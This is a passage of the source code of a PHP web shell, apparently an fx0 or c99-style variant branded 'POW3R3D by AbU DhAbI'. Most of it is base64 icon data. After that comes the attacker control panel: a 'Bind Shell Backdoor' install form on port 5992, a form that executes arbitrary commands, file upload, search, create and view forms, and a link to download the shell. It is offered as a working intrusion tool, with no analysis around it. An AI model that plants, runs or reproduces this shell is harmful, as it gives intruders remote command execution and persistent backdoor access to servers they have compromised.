  4706. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  4707. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  4708. "ext_mp3"=>
  4709. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  4710. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  4711. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  4712. "ext_avi"=>
  4713. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  4714. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  4715. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  4716. "ext_cgi"=>
  4717. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  4718. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  4719. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  4720. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  4721. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4722. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4723. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4724. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  4725. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  4726. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  4727. "RYtMAgEAOw==",
  4728. "ext_cmd"=>
  4729. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  4730. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  4731. "dmrYAMn1onq/YKpjvEgAADs=",
  4732. "ext_cpp"=>
  4733. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  4734. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  4735. "Eq7YrLDE7a4SADs=",
  4736. "ext_ini"=>
  4737. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  4738. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  4739. "SnEjgPVarHEHgrB43JvszsQEADs=",
  4740. "ext_diz"=>
  4741. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  4742. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  4743. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  4744. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  4745. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  4746. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  4747. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  4748. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  4749. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4750. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4751. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4752. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4753. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4754. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4755. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  4756. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  4757. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  4758. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  4759. "Ow==",
  4760. "ext_doc"=>
  4761. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  4762. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  4763. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  4764. "ext_exe"=>
  4765. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  4766. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  4767. "xhIAOw==",
  4768. "ext_h"=>
  4769. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  4770. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  4771. "Wq/NknbbSgAAOw==",
  4772. "ext_hpp"=>
  4773. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  4774. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  4775. "UqUagnbLdZa+YFcCADs=",
  4776. "ext_htaccess"=>
  4777. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  4778. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  4779. "AAA7",
  4780. "ext_html"=>
  4781. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  4782. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  4783. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  4784. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  4785. "ADs=",
  4786. "ext_jpg"=>
  4787. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  4788. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  4789. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  4790. "FxEAOw==",
  4791. "ext_js"=>
  4792. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  4793. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  4794. "a00AjYYBbc/o9HjNniUAADs=",
  4795. "ext_lnk"=>
  4796. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  4797. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  4798. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  4799. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  4800. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  4801. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4802. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4803. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  4804. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  4805. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  4806. "ADs=",
  4807. "ext_log"=>
  4808. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  4809. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  4810. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  4811. "ext_php"=>
  4812. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
  4813. "ext_pl"=>
  4814. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  4815. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  4816. "ext_swf"=>
  4817. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  4818. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  4819. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  4820. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  4821. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  4822. "ext_tar"=>
  4823. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  4824. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  4825. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  4826. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  4827. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4828. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4829. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4830. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  4831. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  4832. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  4833. "u4tLAgEAOw==",
  4834. "ext_txt"=>
  4835. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  4836. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  4837. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  4838. "ext_wri"=>
  4839. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  4840. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  4841. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  4842. "ext_xml"=>
  4843. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  4844. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  4845. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  4846. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  4847. "IQA7"
  4848. );
  4849. $imgequals = array(
  4850.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  4851.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  4852.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  4853.   "ext_html"=>array("ext_html","ext_htm"),
  4854.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  4855.   "ext_lnk"=>array("ext_lnk","ext_url"),
  4856.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  4857.   "ext_doc"=>array("ext_doc","ext_dot"),
  4858.   "ext_js"=>array("ext_js","ext_vbs"),
  4859.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  4860.   "ext_wri"=>array("ext_wri","ext_rtf"),
  4861.   "ext_swf"=>array("ext_swf","ext_fla"),
  4862.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  4863.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  4864. );
  4865. if (!$getall) {
  4866.   header("Content-type: image/gif");
  4867.   header("Cache-control: public");
  4868.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  4869.   header("Cache-control: max-age=".(60*60*24*7));
  4870.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  4871.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  4872.   if (empty($images[$img])) {$img = "small_unk";}
  4873.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  4874.   echo base64_decode($images[$img]);
  4875. }
  4876. else {
  4877.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  4878.   natsort($images);
  4879.   $k = array_keys($images);
  4880.   echo  "<center>";
  4881.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
  4882.   echo "</center>";
  4883. }
  4884. exit;
  4885. }
  4886. if ($x == "about") {
  4887.   echo " <br />You can download the shell from <a href=\"http://fx0.name/fx0.rar\">www.fx0.name</a> ";
  4888. }
  4889. if ($x == "shbd"){
  4890.   $msg = $_POST['backcconnmsg'];
  4891.   $emsg = $_POST['backcconnmsge'];
  4892.   echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
  4893.   Bind Port: <input type='text' name='backconnectport' value='5992'>
  4894.   <input type='hidden' name='use' value='shbd'>
  4895.   <input type='submit' value='Install Backdoor'></form>");
  4896.   echo("$msg");
  4897.   echo("$emsg");
  4898.   echo("</center>");
  4899. }
  4900. echo "</td></tr></table>\n";
  4901. ?>
  4902. <div  class=barheader2><b>.: COMMANDS PANEL :.</b></div>
  4903. <table class=mainpanel>
  4904. <?php
  4905. if (!$safemode) {
  4906. ?>
  4907. <tr><td align=right>Command:</td>
  4908. <td><form method="POST">
  4909.     <input type=hidden name=x value="cmd">
  4910.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  4911.     <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
  4912.     <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
  4913.     </form>
  4914. </td></tr>
  4915. <tr><td align=right>Quick Commands:</td>
  4916. <td><form method="POST">
  4917.     <input type=hidden name=x value="cmd">
  4918.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  4919.     <input type=hidden name="cmd_txt" value="1">
  4920.     <select name="cmd">
  4921.     <?php
  4922.     foreach ($cmdaliases as $als) {
  4923.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  4924.     }
  4925.     foreach ($cmdaliases2 as $als) {
  4926.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  4927.     }
  4928.     ?>
  4929.     </select> -
  4930.     <input type=submit name=submit value="Execute">
  4931.     </form>
  4932. </td></tr>
  4933. <?php
  4934. }
  4935. ?>
  4936. <tr><td align=right>Kernel Info:</td>
  4937. <td><form method="post" action="http://google.com/search">
  4938.     <input type="hidden" name="client" value="firefox-a">
  4939.     <input type="hidden" name="rls" value="org.mozilla:en-US:official">
  4940.     <input type="hidden" name="hl" value="en">
  4941.     <input type="hidden" name="hs" value="b7p">
  4942.     <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> -
  4943.     <input type=submit name="btnG" VALUE="Search">
  4944.     </form>
  4945. </td></tr>
  4946. <tr><td align=right>Upload:</td>
  4947. <td><form method="POST" enctype="multipart/form-data">
  4948.     <input type=hidden name=x value="upload">
  4949.     <input type=hidden name="miniform" value="1">
  4950.     <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
  4951.     </form>
  4952. </td></tr>
  4953. <tr><td align=right>Search:</td>
  4954. <td><form method="POST"><input type=hidden name=x value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  4955.     <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp 
  4956.     <input type=submit name=submit value="Search">
  4957.     </form>
  4958.     </td></tr>
  4959. <tr><td align=right>Make File:</td>
  4960. <td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  4961.     <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
  4962.     </form></td></tr>
  4963. <tr><td align=right>View File:</td>
  4964. <td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  4965.     <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
  4966.     </form></td></tr>
  4967. </table>
  4968. <span style="font-family:verdana; font-size: 16px; font-weight:bold; color:#FF0000;"><marquee direction="right" scrollamount="5" height="23px" width="100%" bgcolor="#000000" >
  4969. POW3R3D by AbU DhAbI - </marquee></span>
  4970. <span style="font-family:arial; font-size: 16px; font-weight:bold; color:#FFFFFF;"> <marquee direction="left" scrollamount="5" height="23px" width="100%" bgcolor="#000000" >
  4971. POW3R3D by AbU DhAbI -  </marquee></span>
  4972. </body></html><?php chdir($lastdir); capriv8exit(); ?>